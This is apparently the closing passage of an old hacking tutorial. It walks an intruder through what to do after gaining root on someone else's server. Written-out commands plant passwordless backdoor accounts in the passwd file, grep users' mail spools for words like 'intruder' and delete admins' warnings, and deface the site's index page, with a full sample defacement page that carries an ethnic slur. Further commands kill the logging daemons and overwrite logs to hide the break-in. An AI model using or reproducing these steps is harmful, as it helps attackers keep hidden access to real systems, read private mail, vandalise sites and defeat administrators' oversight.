A good thing to do is to edit /etc/host.allow and /etc/hosts.deny
target# pico /etc/hosts.allow
and
target# pico /etc/hosts.deny
Remember to erase the exploit
target# rm exploit.c
Perhaps you want to keep the access you gained active.Then do a backdoor.You do not have to make it a root account that could cause notice to it right away.You know you can have root any time you want.
Now let's take a look at the passwd or shadow file.It should look like this...
root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash
sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:65535:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
You may either set let's say the postmaster's password to null ...
target#passwd postmaster
Now press enter twice
...or you can add a new line to the file...
syst::13:12:system:/var/spool:/bin/bash
Place it in the file where it seems to flow.
Look at the line above for sync
sync:*:5:0:sync:/sbin:/bin/sync
Change this to :
sync:*:5:0:sync:/sbin:/bin/bash and then run <passwd sync> and leave the passwd blank. (or set a passwd don't matter) On this account we are even gid=0
Rember first NEVER to use system mail programs! They will be able to tell you are reading their mail. I use a combo of a few things. Here you go...
cd /var/spool/mail
This will put you into the directory that holds all of the unread mail, or waiting mail. Now you can do things like:
grep -i security * |more
grep -i hack * |more
grep -i intruder * |more
grep -i passwd * |more
grep -i password * |more
Then if needed pico username, and ctrl w to search for your message. You can also delete messages if you see some other admin is telling them that your user name is hacking their machine from their domain.
Make sure to read /etc/syslog.conf and /etc/login.defs to see how the system is logging.
Ok.Now you may explore the system however you want.Don't do stupid things like deleting files or crashing the system, and be carefull.
It is not advisable to change the site if the server you hacked does have one.However, if you want to do something like that here is an example...
target#pico /usr/local/apache/htdocs/index.html
The main file of the website can be edited now.
Here is an example of a hacked index.html file...
--------------------start_of_file----------------------
<html>
<head>
<meta name="Ulyss3s" content="Mozilla/4.5 ">
<title>Site hacked by...Ulyss3s</title>
</head>
<body text="#FFFF00" bgcolor="#000000" link="#FFFF00" vlink="#800080" onload="alert('Ulyss3s strikez again...')" onunload="alert('APACHE inside?I hate indianz :-)')">
<center><b><font face="Courier New Tur"><font color="#FF0000"><font size=+3>Ulyss3s</font></font></font><font face="Arial"><font size=+2>
proudly presents...</font></font></b>
<p><b><i><font face="Arial">hiz l8est hacking!</font></i></b></center>
<p>bash 2.04#whoami
<p>root
<p>bash 2.04#
<p>/* Thiz tellz pretty much,huh?Yeah,security wasn't so gr8...
<p>Greetingz to all my friendz- <font color="#FF0000">Luciffer</font>,
<font color="#FF0000">Moon|Lord</font>, <fontcolor="#FF0000">Slaughter</font>,
<font color="#FF0000">Amorphis</font>, and otherz */
<br>
</body>
</html>
--------------End_of_file------------------
Ctrl+x,save the changes and VOILA! You're done!
Whenever someone types in his browser's adress/location: http://www.target.com the edited page will appear.
======================================================================
A few things to remember:
/etc/services (the ports file)
/etc/inetd.conf
/etc/group
-This is the group file. This allows the superuser to give certain accounts group
access to groups other than their own
Entries are in the format: group name:password:group number:users in this group
/dev/console
-This is the device file for the system console, or the system's main terminal.
/usr/adm/sulog
/usr/adm/loginlog or /usr/adm/acct/sum/loginlog
/usr/mail/<user>
/dev/null
/usr/lib /usr/spool/cron.
crontab in the directory /usr/lib contains entries for system
tasks that must be performed on a periodic basis. The format for the entries in
this file is:
minute hour dayofmonth monthofyear dayofweek commandstring
1 * * * /bin/sync
This runs sync command, which is kept in the directory bin, at 1 am every day.
Commands in the file /usr/lib/crontab are performed with root privileges.
/usr/spool/crontabs, you will find files named after
system accounts. These files contain cron entries which are the same as those
in the file /usr/lib/crontab, but are carried out under the id of the user the
file is named after. The entries are in the same format.
All cron activity is logged in the file /usr/adm/cronlog.
A)killall -9 syslogd klogd
B)copy secure.1 and messages.1 from /var/log over secure and messages
C)uname -a, w, last -10, cat /etc/passwd /etc/inetd.conf
D)pico inetd.conf(ports&daemons) /root/.profile
======================================================================
I think this was a nice <walk in the park>.Hopefully you enjoyed it and will have your own <walk in the park> sometime.
Happy hacking!
======================================================================
Huge greetings and thanks to:
Invisible Evil - Your hack kit inspired me a lot.
The Mentor - Your <last words> contain the essence and the filosophy of hacking.
My friends: Luciffer, Moon|Lord, LifeTime, etc.
Finished: 08.XII.2000
Merry Xmas and a Happy New Year!
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